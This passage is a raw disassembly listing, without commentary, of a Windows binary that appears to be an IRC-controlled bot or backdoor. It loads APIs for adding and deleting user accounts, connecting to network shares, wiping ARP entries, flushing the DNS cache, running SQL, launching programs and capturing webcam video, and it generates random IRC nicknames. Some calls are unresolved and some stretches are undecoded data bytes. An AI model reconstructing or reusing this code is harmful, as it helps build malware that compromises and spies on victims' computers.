dword_4CB6B4, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB550, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB4FC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB4EC, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB584, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CB67C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB634, eax call esi cmp dword_4CB518, ebx mov dword_4CB558, eax jz short loc_40A582 cmp dword_4CB4F0, ebx jz short loc_40A582 cmp dword_4CB568, ebx jz short loc_40A582 cmp dword_4CB59C, ebx jz short loc_40A582 cmp dword_4CB6B4, ebx jz short loc_40A582 cmp dword_4CB550, ebx jz short loc_40A582 cmp dword_4CB4FC, ebx jz short loc_40A582 cmp dword_4CB4EC, ebx jz short loc_40A582 cmp dword_4CB584, ebx jz short loc_40A582 cmp dword_4CB67C, ebx jz short loc_40A582 cmp dword_4CB634, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 268082Fh mov dword_4CB720, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB71C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB540, eax call esi cmp dword_4CB540, ebx mov dword_4CB61C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j call near ptr 268082Fh nop mov dword_4CB728, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB724, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB6A0, eax call esi cmp dword_4CB6A0, ebx mov dword_4CB69C, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 268082Fh mov dword_4CB730, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB72C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB6CC, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB6C4, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB68C, eax call esi cmp dword_4CB6CC, ebx mov dword_4CB55C, eax jz short loc_40A68A cmp dword_4CB6C4, ebx jz short loc_40A68A cmp dword_4CB68C, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 268082Fh mov dword_4CB738, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB734, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB590, eax call esi cmp dword_4CB590, ebx mov dword_4CB698, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 268082Fh mov dword_4CB740, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB73C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CB660, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB6AC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB5E8, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB5A0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB640, eax call esi cmp dword_4CB660, ebx mov dword_4CB5B0, eax jz short loc_40A772 cmp dword_4CB6AC, ebx jz short loc_40A772 cmp dword_4CB5E8, ebx jz short loc_40A772 cmp dword_4CB5A0, ebx jz short loc_40A772 cmp dword_4CB640, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j call near ptr 268082Fh nop mov dword_4CB748, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB744, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB574, eax call esi cmp dword_4CB574, ebx mov dword_4CB654, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 268082Fh mov dword_4CB750, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB74C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB6E4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB6E8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB6EC, esi jz short loc_40A84A push dword_4CB6F0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB6F4, esi jz short loc_40A87E push dword_4CB6F8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB6FC, esi jz short loc_40A8B2 push dword_4CB700 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB704, esi jz short loc_40A8E6 push dword_4CB708 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB70C, esi jz short loc_40A91A push dword_4CB710 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB714, esi jz short loc_40A94E push dword_4CB718 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB71C, esi jz short loc_40A982 push dword_4CB720 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB724, esi jz short loc_40A9B6 push dword_4CB728 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB72C, esi jz short loc_40A9EA push dword_4CB730 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB734, esi jz short loc_40AA1E push dword_4CB738 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB73C, esi jz short loc_40AA52 push dword_4CB740 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB744, esi jz short loc_40AA86 push dword_4CB748 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB74C, esi jz short loc_40AABA push dword_4CB750 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D9F4 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB664 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CB6A8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB540 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB6A0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DC08 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42DBE4 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB6A0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42DBB4 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42DB84 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CB69C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB5C8 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB754 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42DC50o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26905CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42DCB8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB24 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h dd 2858A4E8h, 0E8509002h, 10BA8h, 10247C8Bh, 382404C7h dd 68004291h, 42CFE0h, 0E8571C6Ah, 10C38h, 0C483F633h dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h dd 24685752h, 6A0042BBh, 11E8571Ch, 8300010Ch, 3B4614C4h dd 42909835h, 8BDA7C00h, 0C35E5FC7h ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26905CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26905CDh push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431910 push eax push esi nop call near ptr 26C0000h movsx eax, byte_431910 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB24 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26905CDh push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26D0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431914 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB24 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D7D8 mov dword ptr [ebp-94h], 94h nop call near ptr 26E0000h nop call near ptr 26905CDh push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43193C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431938 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431934 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431930 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43192C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431928 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431924 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431920 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431918 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB24 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26905CDh nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CB630 test eax, eax mov eax, offset dword_431948 jnz short loc_40B022 mov eax, offset dword_43D7D8 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431940 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CB630 test eax, eax mov eax, offset dword_431948 jnz short loc_40B04D mov eax, offset dword_43D7D8 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42DC4C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42DCC4 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42DC50[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E360 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CB360 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E360[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E560[esi], eax and dword_43E564[esi], 0 mov eax, [esp+8+arg_8] and dword_43E568[esi], 0 mov dword_43E56C[esi], eax and byte_43E578[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 0E8006A14h, 22D58B1h, 555E5F90h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431A48h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43E360BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C85468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 60FE8147h, 7C004CB3h, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43E574[esi] lea edi, dword_43E574[esi] call near ptr 269062Fh nop cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43E568[esi] mov dword_43E560[esi], ebx mov dword_43E564[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j 